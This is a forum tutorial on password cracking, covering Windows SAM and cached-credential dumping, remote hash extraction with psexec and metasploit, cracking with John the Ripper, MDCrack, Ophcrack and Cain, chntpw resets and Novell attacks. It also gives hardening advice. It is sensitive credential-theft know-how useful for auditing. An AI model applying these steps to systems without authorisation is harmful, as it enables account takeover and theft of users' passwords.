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Great tutorial about Cracking Passwords!
[SOMMAIRE]
1 LM vs. NTLM
2 Syskey
3 Cracker les mots de passe Windows
3.1 Extraire les hash de la SAM Windows
3.1.1 En utilisant les outils BackTrack
3.1.1.1 Avec bkhive et samdump v1.1.1 (BT2 et BT3)
3.1.1.2 Avec samdump2 v2.0.1 (BT4)
3.1.1.3 Credentials mis en cache
3.1.2 En utilisant les outils Windows
3.1.2.1 Avec fgdump
3.1.2.2 Avec gsecdump
3.1.2.3 Avec pwdump7
3.1.2.4 Credentials mis en cache
3.2 Extraire les hash de la SAM Windows à distance
3.2.1 En utilisant les outils BackTrack
3.2.1.1 ettercap
3.2.2 En utilisant les outils Windows
3.2.2.1 Avec fgdump
3.3 Cracker les mots de passe Windows
3.3.1 En utilisant les outils BackTrack
3.3.1.1 John the Ripper BT3 et BT4
3.3.1.1.1 Cracker le LM hash
3.3.1.1.2 Cracker le NTLM hash
3.3.1.1.3 Cracker le NTLM en utilisant le LM hash cracké
3.3.1.1.4 Cracker les credentials mis en cache
3.3.1.2 John the Ripper - actuel
3.3.1.2.1 Le télécharger et le compiler
3.3.1.2.2 Cracker le LM hash
3.3.1.2.3 Cracker le LM hash en utilisant des lettres connues placées à des endroits connus (knownforce)
3.3.1.2.4 Cracker le NTLM hash
3.3.1.2.5 Cracker le NTLM hash en utilisant le LM hash cracké (dumbforce)
3.3.1.2.6 Cracker les credentials mis en cache
3.3.1.3 En utilisant MDCrack
3.3.1.3.1 Cracker le LM hash
3.3.1.3.2 Cracker le NTLM hash
3.3.1.3.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.1.4 En utilisant Ophcrack
3.3.1.4.1 Cracker le LM hash
3.3.1.4.2 Cracker le NTLM hash
3.3.1.4.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2 En utilisant les outils Windows
3.3.2.1 John the Ripper
3.3.2.1.1 Cracker le LM hash
3.3.2.1.2 Cracker le NTLM hash
3.3.2.1.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2.1.4 Cracker les credentials mis en cache
3.3.2.2 En utilisant MDCrack
3.3.2.2.1 Cracker le LM hash
3.3.2.2.2 Cracker le NTLM hash
3.3.2.2.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2.3 En utilisant Ophcrack
3.3.2.3.1 Cracker le LM hash
3.3.2.3.2 Cracker le NTLM hash
3.3.2.3.3 Cracker le NTLM hash en utilisant le LM hash cracké
3.3.2.4 En utilisant Cain and Abel
3.3.3 En utilisant un Live CD
3.3.3.1 Ophcrack
4. Changer les mots de passe Windows
4.1 Changer les mots de passe des utilisateurs locaux
4.1.1 En utilisant BackTrack
4.1.1.1 chntpw
4.1.2 En utilisant un Live CD
4.1.2.1 chntpw
4.1.2.2 System Rescue CD
4.2 Changer les mots de passe d'Active Directory
5 plain-text.info (information texte)
6 Cracker les mots de passe Novell NetWare
7 Cracker les mots de passe Linux/Unix
8 Cracker les mots de passe des équipements réseau
8.1 En utilisant BackTrack
8.1.1 Avec Hydra
8.1.2 Avec Xhydra
8.1.3 Avec Medusa
8.1.4 Avec John the Ripper pour cracker un hash Cisco
8.2 En utilisant des outils Windows
8.2.1 Avec Brutus
9 Cracker des applications
9.1 Cracker Oracle 11g (sha1)
9.2 Cracker les mots de passe Oracle via le réseau
9.3 Cracker les mots de passe Office
9.4 Cracker les mots de passe tar
9.5 Cracker les mots de passe zip
9.6 Cracker les mots de passe pdf
10 Attaques par dictionnaire (wordlist)
10.1 En utilisant John the Ripper pour générer des listes de mots (wordlist)
10.2 Configurer John the Ripper pour utiliser une wordlist
10.3 En utilisant crunch pour générer une wordlist
10.4 Générer une wordlist à partir d'un fichier texte ou d'un site web
10.5 En utilisant des wordlists toutes prêtes
10.6 Les autres générateurs de wordlist
10.7 Manipuler les wordlists
11 Rainbow Tables
11.1 Que sont-elles ?
11.2 Générez vos propres Rainbow tables
11.2.1 rcrack - obsolète mais fonctionnel
11.2.2 rcracki
11.2.3 rcracki - client boinc
11.2.4 Générer une rainbow table
11.3 Cracker du WEP
11.4 WPA-PSK
11.4.1 airolib
11.4.2 pyrit
12 Cracking de mot de passe distribué (Distributed Password cracking)
12.1 john
12.2 medussa (avec 2 s)
13 En utilisant un GPU
13.1 cuda - nvidia
13.2 stream - ati
1. LM vs. NTLM
The LM hash is the old style hash used in MS operating systems before NT 3.1. It converts the passwords to uppercase, null-pads or truncates the password to 14 characters. The password is split into two 7 character halves and uses the DES algorithm. NT 3.1 to XP SP2 supports LM hashes for backward compatibility and is enabled by default. Vista supports LM hashes but it disabled by default. Given the weakness in the LM hash it is recommended to disable using LM hashes for all MS operating systems using the steps in http://support.microsoft.com/kb/299656
NTML was introduced in NT 3.1 and does not covert the password to uppercase, does not break the password apart, and supports password lengths greater than 14. There are two versions of NTLM: v1 and v2. Due to a weakness in NTLM v1 it should not be used. Microsoft has included support fort NTLM v2 for all its operating systems either via service pack or the Directory Services client (for Windows 9X). You enable NTLM v2 by following the instructions at http://support.microsoft.com/kb/239869
For a maximum security you should set the LMCompatibility to 3 for Windows 9X and LMCompatibilityLevel to 5 for NT, 2000, XP, and 2003. Of course, you should test these changes before you put them into a production environment.
2. Syskey
To make more difficult the cracking of your passwords, use Syskeys. For further information please look here:
http://support.microsoft.com/kb/310105
The short version is syskey encrypts the SAM. The weakest point option but most convenient is to store a system generated password locally; locally means registry. The up side is the SAM gets encrypted and you can reboot the server remotely without extra equipment. The next option is password startup. This is slightly more difficult to get around, but if you remotely reboot the server, it will stop and wait for someone to enter the password. You will need a KVM over IP or a serial port concentrator so you can enter the password remotely. The most secure option is the system generated passwored stored on a floppy disk. The downside to this option is floppy disks fail, you misplace the floffy disk, newer equipment does not have a floppy disk drive, no remote reboots, and you will probably leave the floppy in the drive so you can remote reboot and that defeats security. I use a system generated password stored locally, weak but better than not doing it. To disable syskey use chntpw and follow its instructions.
3. Cracking Windows Passwords
3.1.1.1 Using bkhive and samdump2 v1.1.1 (BT2 and BT3)
1.
mount your windows partition substituting hda1 for whatever your windows partition is
2.
If the syskey password is stored locally you need to extract it from the registry so you can decrypt theSAM. If syskey is setup to prompt for a password or the password is on a floppy, stop now and read thesyskey documentation in this document for more information about syskey. If you installed windows to something other C:\WINDOWS please substitute the correct path. WARNING the path is casesensitive. The filenames of sam, security, and system are case sensitive. On my system these files arelowercase. I have come across other XP systems where they are uppercase. On the Vista system I haveused the filenames are uppercase.
BackTrack 2 users use the following:
BackTrack 3 users use the following:
3.
samdump2 will dump the SAM to the screen and the > character redirects the output to a file calledhash.txt
you can also run samdump2 with the -o parameter to write the output to a file
3.1.1.2 Using new samdump2 v2.0 (BT4)
The current version is 2.0.1 and has the benefit of being able to extract the syskey on its own. This means dumping the hashes in now a 1 step process instead of two. To upgrade and run sampdump2 v2.0.1:
1.
Download the current sampdump2 from http://sourceforge.net/project/showf...roup_id=133599
2.
3.
4.
5.
this will keep the existing version. If you want to overwrite the existing version do:
6.
mount your windows partition substituting hda1 for whatever your windows partition is
7.
if the syskey password is stored locally samdump2 v2.0 will extract it from the registry so it can decryptthe SAM. If syskey is setup to prompt for a password or the password is on a floppy, stop now and readthe syskey documentation in this document for more information about syskey. If you installedwindows to something other C:\WINDOWS please substitute the correct path. WARNING the path iscase sensitive. The filenames of sam, security, and system are case sensitive. On my system these filesare lowercase. I have come across other XP systems where they are uppercase. On the Vista system Ihave used the filenames are uppercase.
8.
samdump2 will dump the SAM to the screen and the > character redirects the output to a file calledhash.txt
you can also run samdump2 with the -o parameter to write the output to a file
3.1.1.3 Cached Credentials
The only Linux based application to dump cached credentials I found is creddump which can be found at http://code.google.com/p/creddump/
samdump v2.0.1 couldn't do this so I wrote the code to dump cachedcredentials. I have submitted it upstream so I hope to see this feature in the next version.
3.1.2 Using Windows Tools
3.1.2.1 Using fgdump
To dump local passwords:
1.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You could also try to use metasploit to attack your system toget to a command prompt.
2.
Download one of the fgdump files fromhttp://swamp.foofus.net/fizzgig/fgdump/downloads.htmandunzip it.
3.
run the fgdump utility you downloadedC:\> fgdump -v
4.
copy the 127.0.0.1.pwdump file to a floppy or USB thumb drive if you are going to use BackTrack tocrack the hashes
You can dump passwords from remote systems but only if you know the remote local administrator passwordor have domain administrator privledges.
1.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You could also try to use metasploit to attack your system toget to a command prompt.
2.
Download one of the fgdump files from http://swamp.foofus.net/fizzgig/fgdump/downloads.htm and unzip it.
3.
run the fgdump utility you downloaded
where hostname is the name or ip of the remote system you want to retreive the passwords fromUsername is the username of the account to connect to the remote system with; usually Administrator or Domain\Administrator or an account with Domain Administrator privledges.
Password is the password of the above account
NOTE: If you have a firewall installed on the remote system this will not work.
4.
copy the 127.0.0.1.pwdump file to a floppy or USB thumb drive if you are going to use BackTrack tocrack the hashes.
3.1.2.2 Using gsecdump
Thanks to williamc for pointing out another password dumping tool. These instructions are based on the Exploitation part of his Intranet Exploitation tutorial.
1.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this my system I know administrator password. You could also try to use metasploit to attack your system to get to a command prompt.
2.
Download the gsecdump file from http://www.truesec.com/PublicStore/c...o.aspx?cid=223
You have to click on the Hamta filen link to download it. Once downloaded, unzip it.
3.
Download the psexec tool from http://technet.microsoft.com/en-us/s.../bb897553.aspx and unzip it
4.
run as follows
hostname is the name of the PC where you want psexec to run. AKA the target.
username is the username to login to the remote PC.
password is the password of the above username. If you don't put in it here you be prompted to enter it. If you are prompted the password won't be displayed.
-s tells the process to run as the system account
-f copies the program to the target pc even if it exists
-c copies the program to the target
pcgsecdump.exe is the utility you want to run
-s tells gsecdump to dump the SAM/AD hashes
the > character redirects the output to a file called hash.txt
NOTE: If you have a firewall installed on the remote system this will not work.
5.
copy the hash.txt file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes.
3.1.2.3 Using pwdump
1.
Download one of the pwdump files from http://en.wikipedia.org/wiki/Pwdump and unzip it.
2.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You could also try to use metasploit to attack your system to get to a command prompt.
3.
run the pwdump utility you downloaded
pwdump7 will dump the SAM to the screen and the > character redirects the output to a file called hash.txt
4.
copy the hash.txt file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes.
3.1.2.4 Cached Credentials
When a user logs into a domain their password is cached in the registry so that in the event that the DomainController or network goes down the user can still login to their PC. To export these registry keys you need atool call cachedump. It can be downloaded from ftp://ftp.openwall.com/john/contrib/cachedump/
Thereadme.txt in the zip contains everything you want to know about where the cached credentials arestored, how cached credentials work, how they are hashed, and how the tool works. Cachedump does not work on Windows Vista. Vista changed the way that cached creditionals work. You can also download the fgdump with source file from http://www.foofus.net/fizzgig/fgdump/ and get cachedump and its source code.
To use:
1.
Extract the cachedump.exe from the zip
2.
Login to the PC as an administrator
3.
Goto a cmd prompt (Start, Run, cmd)
4.
C:\> cd \path to cachedump.exe
5.
This runs cachedump.exe in verbose mode. I suggest running cachedump in verbose the first time youuse it so you know what is going on and can identify any problems. Once you have good information displayed on the screen you can use:
and this will redirect the output from the screen to a file called cache.txt
Now you can use John The Ripper or Cain and Abel to crack the hashes.
Please note that Cached Credentials use a different hash than LM or NTLM. The lowercase username is salted with the password.
The best way to protect yourself from this is to disable cached credentials.
Change the value of the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\CACHEDLOGONSCOUNT to 0.
You can do this manually or with Group Policy.
3.2 Extracting Windows Password hashes remotely
3.2.1 Using BackTrack Tools
3.2.1.1 Using ettercap
You can use ettercap and the man in the middle attacks to sniff the username and password of a user over thenetwork.
DO NOT ATTEMPT THIS WITHOUT PERMISSION OF THE USER WHOSE ACCOUNT YOU WANT TO SNIFF.
You can read an ettercap tutorial at http://openmaniak.com/ettercap.php which covers the basics on how touse ettercap. There so much that ettercap can do and there are many tutorials covering how to use it I am notgoing to duplicate the effort. Just do a quick search using your favorite internet search engine for ettercap tutorials and read.
3.2.1.2 Using hashdump (metasploit)
I am not going to cover this in great detail. To use hashdump you first have to use metasploit to compromise the PC from which you want the password hashes. There are already a number of tutorials that explain how to use metasploit.
The best documentation is at http://www.metasploit.com/framework/support/
Once you have compromised the PC using metasploit you can extract the hashes doing:use privhashdump
3.2.2 Using Windows Tools3.2.2.1 Using fgdump
1.
Download one of the fgdump files from http://swamp.foofus.net/fizzgig/fgdump/downloads.htm and unzip it.
2.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You will need the administrator password or the username and password of a an account that is in the local Administrators group on the PC from which you want the hashes.
3.
run the fgdump utility you downloaded
where username and password are an account with administrator privileges.
copy the 127.0.0.1.pwdump file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes
3.2.2.2 Using pwdump6
1.
Download pwdump6 from http://en.wikipedia.org/wiki/Pwdumpand and unzip it.
2.
Login to the system as an administrator and get to a command prompt (Start, Run, cmd). Since this mysystem I know administrator password. You will need the administrator password or the username and password of a an account that is in the local Administrators group on the PC from which you want the hashes.
3.
run the utility you downloaded
where username and password are an account with administrator privileges.
pwdump6 will dump the SAM to the screen and the > character redirects the output to a file called hash.txt
4.
copy the hash.txt file to a floppy or USB thumb drive if you are going to use BackTrack to crack the hashes.
3.3 Cracking Windows Passwords3.3.1 Using BackTrack Tools
My strategy for cracking windows passwords is like this:
1.
Get/Develop a really good wordlist/dictionary
2.
Find the password policy that is enforced for the account you are trying crack
3.
Crack the LM hash using John the Ripper
4.
Crack the NTLM hash with the results of the cracked LM hash and the password policy informationusing mdcrack
5.
If there is no LM hash to crack I proceed to cracking with John the Ripper using the password policyinformation and my wordlist. Then I use rainbowtables if the tables match the password policy. http://plain-text.infois back up and running so I check if they have the cracked password already.
To successfully use arainbow table you need to know the password policy. No sense downloading a rainbow table that contains letters and numbers when the password policy requires a symbol ([email protected]#$%^&* etc).
3.3.1.1 John the Ripper BT3 and BT4
Version 1.7.2 shipped with BackTrack 3. Version 1.7.3.1 with jumbo patch 5 shipped with BT4. The john theripper that ships with BT4 requires at least a P4 with SSE2 instructions. If you don't have a processor that supports SSE2 then you have download and compile john yourself. See the next section for instructions onhow to do this.
3.3.1.1.1 Cracking the LM hash
john only needs to know the path to the hash.txt to begin bruteforcing and return the uppercase password
3.3.1.1.2 Cracking the NTLM hash
john only needs to know the path to the hash.txt to begin bruteforcing and return the password
will begin to bruteforce the NTLM hashes
Stasik told me it is much easier to crack the NTLM hash if you know the character set. This way you do notneed to bruteforce all possible characters combinations. Once you have TESTTEST, feed a custom character set of tesTES to john and it will return the proper case password much faster than if you did not limit the character set. The issue is john has no easy way to limit the character set.
You will have to modify the john.conf file and include the following code that Solar Designer has kindly published to the john-users maillist:
Once you make the necessary changes begin cracking using:
Some notes from Solar Designer:
1.
Being an external mode, this is not the fastest way to generate candidate passwords, although its performance is acceptable. Some further optimizations are possible (e.g., cache the last character outside of the word[] array). Also, be careful when you edit it (such as for a different charset) - errorsin the way the cyclic charset is defined may result in the "while" loop in generate() becoming endless.
2.
In order to actually crack an NTLM hash with this, you need a build of JtR with support for NTLMhashes. You may do a custom build with the latest jumbo patch (john-1.7.2-all-9.diff.gz), which meansthat you will need to install Cygwin on your Windows system, or you can download such a build made by someone else (one is linked from the JtR homepage - it is for an older version of the patch, though,so it is many times slower at NTLM hashes).
3.
On a modern system, with a recent jumbo patch, and with the proper "make" target for your system,this should complete its work against an NTLM hash (or against many such hashes) in just a fewminutes.
3.3.1.1.4 Cracking cached credentials
john only needs to know the path to the hash.txt to begin bruteforcing and return the password
3.3.1.2 John the Ripper - current
The current version of John the Ripper doesn't ship with BT4. It adds some new features (dumbforce and knownforce) and speeds up several algorithms. However given the way BT4 handles updates I don'trecommend updating the package yourself unless your processor doesn't support SSE2 instructions (i.e.something less than a P4). I recommend going to http://www.backtrack-linux.org/forums/tool-requests/ and requesting they update the package to the latest version. Do NOT ask them to drop the SSE2 requirement. The SSE2 instructions provide real benefits to the cracking process. If you need to compile your own version here is how.
3.3.1.2.1 Get and Compile
We first have to remove the existing package and then we can download and compile the program.
Open a terminal window
Go to ftp://ftp.openwall.com/john/contrib/and look for something like john-1.7.4.2-jumbo-1.diff.gz
This is version 1 of the jumbo patch for john 1.7.4.2.
Download the latest version that is there.
You should see a long list of patching file XXX. If you see X out of Y hunk ignored it means that the patch did not apply correctly. You either downloaded the wrong version of john or the jumbo patch. Start over and make sure the jumbo patch matches the version of john you download.
This will display the various systems you can compile john for. I have a P3 that supports MMX so I will use the command:
To see which options your CPU supports do a:
and look at the flags.
If you have a P4 you probably have SEE2 (check the cpuinfo flags) then you would use: make linux-x86-see2
You should see the following when john is done compiling:
You now have the latest version of John the Ripper and it supports more algorithms than the vanilla John theRipper thanks to the jumbo patch.
3.3.1.2.2 Cracking the LM hash
john only needs to know the path to the hash.txt to begin bruteforcing and return the uppercase password
3.3.1.2.3 Cracking the LM hash using known letter(s) in known location(s) (knownforce)
I haven't figured out how to use this feature. John the Ripper is a very powerful tool however it is not veryintuitive to use. I can point you to the John the Ripper wiki which has maillist excerpts cover how to usedumbforce and knownforce. The url is http://openwall.info/wiki/john/mailing-list-excerpts
3.3.1.2.4 Cracking the NTLM hash
john only needs to know the path to the hash.txt to begin cracking and return the password
will begin to bruteforce the NTLM hashes
3.3.1.2.5 Cracking the NTLM hash using the cracked LM hash (dumbforce)
I haven't figured out how to use this feature. John the Ripper is a very powerful tool however it is not veryintuitive to use. I can point you to the John the Ripper wiki which has maillist excerpts cover how to usedumbforce and knownforce. The url is http://openwall.info/wiki/john/mailing-list-excerpts
3.3.1.2.6 Cracking cached credentials
john only needs to know the path to the hash.txt to begin bruteforcing and return the password
3.3.1.3 Using MDCrack
For whatever reason I have been unsuccessful in getting mdcrack-183 to work with any version of wine. This is strange as I know I had it working previously. To use mdcrack with BackTrack you should upgrade wine to the latest development version of wine and then use mdcrack-182.zip
For BackTrack 3 users:
1.
Go to http://www.winehq.org/site/download and click on slackware.
2.
download the latest tgz file, which as of this writting is 1.1.29
3.
open a xterm window
4.
Now you can download mdcrack-182.zip
download mdcrack:
or
6.
7.
8.
9.
10.
For BackTrack 4 users:
1.
open a xterm window
2.
3.
4.
5.
Now you can download mdcrack-182.zip
download mdcrack:
or
6.
7.
8.
9.
3.3.1.3.1 Cracking the LM hash
MDCrack doesn't crack LM hashes.
3.3.1.3.2 Cracking the NTLM hash
NTLMHASH would be D280553F0103F2E643406517296E7582 for example
The result should be TestTest
The only way to speed up cracking is to know the minimum length of the password and use --minsize= to specify it.
3.3.1.3.3 Cracking the NTLM hash using the cracked LM hash
Stasik told me it is much easier to crack the NTLM hash if you know the character set. This way you do notneed to bruteforce all possible characters combinations. Once you have TESTTEST, feed a custom character set of tesTES to mdcrack and it will return the proper case password much faster than if you did not limit the character set.
you know the password length you can use:
The password is TestTest however mdcrack 1.8.3 returns TestTest. I filed a bug report with Gregory Duchemin, the author of mdcrack, and he has fixed the problem with version 1.8.4.
3.3.1.4 Using Ophcrack
3.3.1.4.1 Cracking the LM hash
download ophcrack and the rainbow tables from http://sourceforge.net/project/showf...roup_id=133599
If you have the hard drive space I would recommend downloading XP freefast formally known as SSTIC04-5K. If this is a demo or do not have a lot of disk space download XP freesmall formally known as SSTIC04-10K. This is not a typo; SSTIC04-5K is a larger download thanSSTIC04-10K. You can also purchase the XP Special table which contain longer passwords and the specialcharacters. There are special tables for Vista. The small table is Vista free and is free. There is a table you can purchase called Vista Special which contains hashes for passwords up to 8 characters. See http://ophcrack.sourceforge.net/tables.php for the details. The rainbow tables that ophcrack uses are NOT compatible with the rainbow tables generated by rtgen.
click on the load button and select the appropriate option, I will select local SAM.
click on the tables button and select the rainbow table you installed.
click on the launch button. You will see pre-loading table boxes on the screen. You may also see amessage that says "All LM hashes are empty. Please use NThash tables to crack the remaining hashes."This means that the administrators have disabled windows ability to save LM hashes.
wait until ophcrack is done
3.3.1.4.2 Cracking the NTLM hash
You will have to purchase the NTLM rainbow tables from http://www.objectif-securite.ch/en/products.php
The rainbow table contains 99% of passwords of made of following characters:
length 1 to 6:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;&<=>[email protected][\]^_`{|}~ (space included)
length 7:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
length 8:
0123456789abcdefghijklmnopqrstuvwxyz
You CANNOT generate your own rainbow tables for ophcrack to use. If you know that the password meetsthe above specs you can purchase the table and give it a try.
3.3.1.4.3 Cracking the NTLM hash using the cracked LM hash
There is no way to do this. If ophcrack cracks the LM hash you should switch to john or mdcrack to get the NTLM password.
3.3.2 Using Windows Tools
3.3.2.1 John the Ripper
3.3.2.1.1 Cracking the LM hash
1.
download john the ripper from http://www.openwall.com/john/
2.
open a command prompt (Start, Run, cmd, enter)
3.
cd to where you extracted john (I extracted john to the root of my C drive) so it would be
4.
john only needs to know the path to the hash.txt to begin bruteforcing and return the uppercase password
3.3.2.1.2 Cracking the NTLM hash
You cannot as the windows binary of john the ripper that you can download from the website does notsupport NTLM. You will have to download the source code, one of the patches that adds support for NTLM and compile it yourself. There are also one or two places where you can download a john binary that already has the patches applied.
3.3.2.1.3 Cracking the NTLM hash using the cracked LM hash
You cannot as the windows binary of john the ripper that you can download from the website does notsupport NTLM. You will have to download the source code, one of the patches that adds support for NTLM and compile it yourself. There are also one or two places where you can download a john binary that already has the patches applied.
3.3.2.2 MDCrack 3.3.2.2.1 Cracking the LM hash
MDCrack doesn't support LM hashes.
3.3.2.2.2 Cracking the NTLM hash
1.
download mdcrack from http://membres.lycos.fr/mdcrack/
or
http://c3rb3r.openwall.net/mdcrack/ and extract the files
2.
open a command prompt (Start, Run, cmd, enter)
3.
cd to where you extracted the files
4.
NTLMHASH would be D280553F0103F2E643406517296E7582 for example
4.
The result should be TestTest
3.3.2.2.3 Cracking the NTLM hash using the cracked LM hash
Stasik told me it is much easier to crack the NTLM hash if you know the character set. This way you do notneed to bruteforce all possible characters combinations. Once you have TESTTEST, feed a custom character set of tesTES to mdcrack and it will return the proper case password much faster than if you did not limit thecharacter set.
D280553F0103F2E643406517296E7582
If you know the password length you can use:
D280553F0103F2E643406517296E7582
The password is TestTest
3.3.2.3 Ophcrack 3.3.2.3.1 Cracking the LM hash
Download ophcrack from http://sourceforge.net/project/showf...oup_id=1335991
1.
Start the installation and select next until you get to the Select Components screen. Select one of thetwo download options. If you have the hard drive space I would recommend downloading SSTIC04-5K. If this is for a demo or do not have a lot of disk space download SSTIC04-10K. This is not a typo;SSTIC04-5K is a larger download than SSTIC04-10K. Answer the rest of the install questions and click on install. The installer will start downloading the rainbow table you selected. The other options on theSelect Components screen will cost you money as you have to purchase the DVD or CD. The rainbowtables that ophcrack uses are NOT compatible with the rainbow tables generated by rtgen.
2.
Start ophcrack using the icon on the start menu bar.
3.
Click on the load button and select the appropriate option, I will select local SAM.
4.
Click on the tables button and select the rainbow table you installed.
5.
Click on the launch button. You will see pre-loading table boxes on the screen. You may also see amessage that says "All LM hashes are empty. Please use NThash tables to crack the remaining hashes." This means that the administrators have disabled windows ability to save LM hashes.
6.
Wait until ophcrack is done.
3.3.2.3.2 Cracking the NTLM hash
You will have to purchase the NTLM rainbow tables from http://www.objectif-securite.ch/en/products.php
The rainbow table contains 99% of passwords of made of following characters sets:
length 1 to 6:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;&<=>[email protected][\]^_`{|}~ (space included)
length 7:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
length 8:
0123456789abcdefghijklmnopqrstuvwxyz
You CANNOT generate your own rainbow tables for ophcrack to use. If you know that the password meets the above specs you can purchase the table and give it a try.
3.3.2.3.3 Cracking the NTLM hash using the cracked LM hash
There is no way to do this. If opcrack cracks the LM hash you should switch to john or mdcrack to get the NTLM password.
3.3.2.4 Using Cain and Abel
Download Cain and Abel from http://www.oxid.it/cain.html
1.
Install Cain and Abel using the default settings
2.
Start Cain and Abel
3.
Click on the Cracker tab
4.
Click somewhere inside the table
5.
Click on File, Add to list.
6.
Select Import hashes from local system and click next
7.
Right click on the account you want the password for and select Brute-force attack. Chose the optionyou want to use (for windows passwords either LM hashes or NTLM hashes).
8.
Select the character set you want to use, set the minimum and/or maximum password length if you know it to decrease the amount of cracking time needed.
9.
Click on Start
10.
Wait!
3.3.3 Using a Live CD3.3.3.1 Ophcrack
The ophcrack LiveCD is good when you have physical access to the PC. Just download ophcrack-livecd from http://sourceforge.net/project/showf...roup_id=133599
burn the iso to a CD, boot from the CD, andstart cracking using the included SSTIC04-10K rainbow table. This will crack the LM hashes. To crack NTLM hashes you have to purchase 1 of the NTLM hash tables. See section 3.2.2.3.2 for details.
4. Changing Windows Passwords
4.1 Changing Local Windows Passwords
Warning: If the user account you are going to change the password on has encrypted files you will lose accessto the encrypted files until you remember the old password. This only applies to local user accounts and not domain accounts. In a properly setup forest/domain, the administrator can recover encrypted files for domain users.
4.1.1 Using BackTrack tools
4.1.1.1 chntpw
chntpw is a part of BackTrack and can reset a forgotten local user account password. If you don't have BackTrack you can download a CD or floppy disk image from http://pogostick.net/~pnh/ntpasswd/
Unzip thefile, and either burn the iso the to a CD or use rawrite2 to transfer the image to a floppy.
Follow the directions at http://pogostick.net/~pnh/ntpasswd/walkthrough.html on how to use the software.
The current versionsupports Vista.
version 0.99.5 070923 (decade), (c) Petter N Hagen
chntpw: change password of a user in a NT/2k/XP/2k3/Vista SAM file, or invoke registry editor.
chntpw [OPTIONS] <samfile> [systemfile] [securityfile] [otherreghive] [...]
-h This message
-u <user> Username to change, Administrator is default
-l list all users in SAM file
-i Interactive. List users (as -l) then ask for username to change
-e Registry editor. Now with full write support!
-d Enter buffer debugger instead (hex editor)
-t Trace. Show heump of structs/segments. (deprecated debug function)
-v Be a little more verbose (for debuging)
-L Write names of changed files to /tmp/changed
-N No allocation mode.
Only (old style) same length overwrites possible.
See readme file on how to get to the registry files, and what they are.
Source/binary freely distributable under GPL v2 license.
See README for details.
NOTE: This program is somewhat hackish! You are on your own!
* SAM policy limits:
** IF YOU DON'T KNOW WHAT SYSKEY IS YOU DO NOT NEED TO SWITCH IT OFF!**
NOTE: On WINDOWS 2000 it will not be possible to turn it on again! (and other problems may also show..)
NOTE: Disabling syskey will invalidate ALL passwords, requiring them to be reset. You should at least reset theadministrator password using this program, then the rest ought to bedone from NT.
The password for the user account test has been set to TestTest. Rarely chntpw screws up and the password is not reset properly. Your best bet is to blank the password (option 1).
4.1.2 Using a Live CD
4.1.2.1 chntpw
chntpw comes in two versions: floppy and cd iso. The floppy version only contains drivers for the more popular hard drive controllers. Since the number of drivers is limited, the floppy version will not boot your PCif you have a controller that is not supported. Also floppy drives are becoming hard to find on PCs. I recommend you download the iso as it contains all possible drivers and CD/DVD drives are more common than floppy drives these days. You can download either version from http://pogostick.net/~pnh/ntpasswd/ and click on bootdisk. Just below the download links are instructions on what to do with the file you downloaded. The iso is approximately 3MB in size. This Live CD only contains the drivers necessary to find your harddrives and the chntpw command. This is a great tool when all you need to do a change a password. The current version supports Vista.
4.1.2.2 System Rescue CD
The System Rescue CD is a Linux bootable CD you can use to repair your PC and recover data after a crash. You can download the iso from http://www.sysresccd.org/
The iso is almost 250MB for version 1.1 for x86. The website has some really good documentation on how to use the cd. To change a local user password withthe System Rescue CD, you use the chntpw command.
4.2 Changing Active Directory Passwords
The pwdump7 utility only work on locally stored SAMs. It will not work on windows server 2000, 2003, or windows 2008 Active Directory.
pwdump6 from http://www.foofus.net/fizzgig/pwdump/ can dump windowsserver 2000 and 2003 Active Directory to a file that john the ripper can crack.
fgdump is a newer utility that can dump Active Directory and cached credentials. See section 3.1.2 on how to use fgdump
See http://www.jms1.net/nt-unlock.shtml for resetting a windows 2000 domain account.
See http://www.nobodix.org/seb/win2003_adminpass.html for resetting a windows 2003 domain account.
5. plain-text.info
The http://plain-text.infowebsite is where you can take a LM or MD5 hash and see if someone has alreadycracked it. The website is easy to use and has a very large list of hashes for you to search. The website alsohas support for NTLM hashes, but none of the hashes I had were cracked there.
6. Cracking Novell NetWare Passwords
If you have a windows client with the Novell NDS client installed you will notice that the client creates alocal account on the PC.
Usually the local password is the same as the NDS account password. By dumpingthe local SAM you can usually get a persons NDS password.
The above trick I know works as I have used this once. The other techniques listed here I cannot say if they work or not as I retired the last Novell NetWareserver a long time ago. I would recommand starting to read the documentation at http://www.nmrc.org/pub/faq/hackfaq/hackfaq-19.htmlto hackfaq-26.html for learning quite a bit about attacking Novell servers v2.x to 4.x.If you have access to the console and the floppy drive of the server you can try one of the console attacks from http://www.nmrc.org/pub/faq/hackfaq/hackfaq-21.html
If all you have access to is a client you can try some of the client attacks fromhttp://www.nmrc.org/pub/faq/hackfaq/hackfaq-22.html
If you don't have local administrator rights and your server is Novell you can use Pandora from http://www.nmrc.org/project/pandora/ to do online and offline attack against Novell 4.x and 5.x servers. and get local administrator rights to your XP box. The attack is very simple, you just have to pull your network cable at the right time.
From williamc's posting of at the old remote-exploit forums:
7. Cracking Linux/Unix passwords
Unix passwords are located in the /etc/shadow file or the /etc/passwd file. Next unix passwords are "shadowed" and we must "unshadow" them before we can do anything. Without getting into too much detail shadowing the passwords removes the passwords, which are usually stored in world readable /etc/passwd, and moves them to /etc/shadow which can only be read and written to by root or programs run as suid root. Go to http://www.tldp.org/HOWTO/Shadow-Password-HOWTO-2.html
